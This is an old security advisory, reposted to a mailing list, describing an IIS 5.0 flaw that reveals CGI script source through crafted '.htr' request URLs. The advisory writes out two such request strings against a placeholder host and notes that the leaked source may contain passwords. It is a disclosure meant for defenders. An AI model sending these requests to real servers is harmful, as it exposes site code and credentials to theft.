From
http://www.guninski.com/iishtr.html
Georgi Guninski security advisory #33, 2001
IIS 5.0 allows viewing files using %3F+.htr
Systems affected:
IIS 5.0 patched against the file fragment reading vulnerability
Risk: Medium
Date: 8 January 2001
Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it
unmodified.
You may not modify it and distribute it or distribute parts of it without
the author's written permission.
Disclaimer:
The opinions expressed in this advisory and program are my own and not of
any company. The usual standard disclaimer applies, especially the fact that
Georgi Guninski is not liable for any damages caused by direct or indirect
use of the information or functionality provided by this advisory or
program. Georgi Guninski bears no responsibility for content or misuse of
this advisory or program or any derivatives thereof.
Description:
IIS 5.0 allows viewing most types of CGI files if a special request is
performed.
Details:
The following URL:
----------------------------------------
http://TARGETIIS/scripts/test.pl%3F+.htr
----------------------------------------
reveals the content of /scrips/test.pl instead of executing it.
This may giveway passwords in CGI and other stuff.
If you are not patched the following may work (not discovered by me):
http://TARGETIIS/scripts/test.pl+.htr
This does not work for some types of .ASP if they contain certain
characters.
_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com
_______________________________________________
Perl-Unix-Users mailing list. To unsubscribe go to
http://listserv.ActiveState.com/mailman/subscribe/perl-unix-users
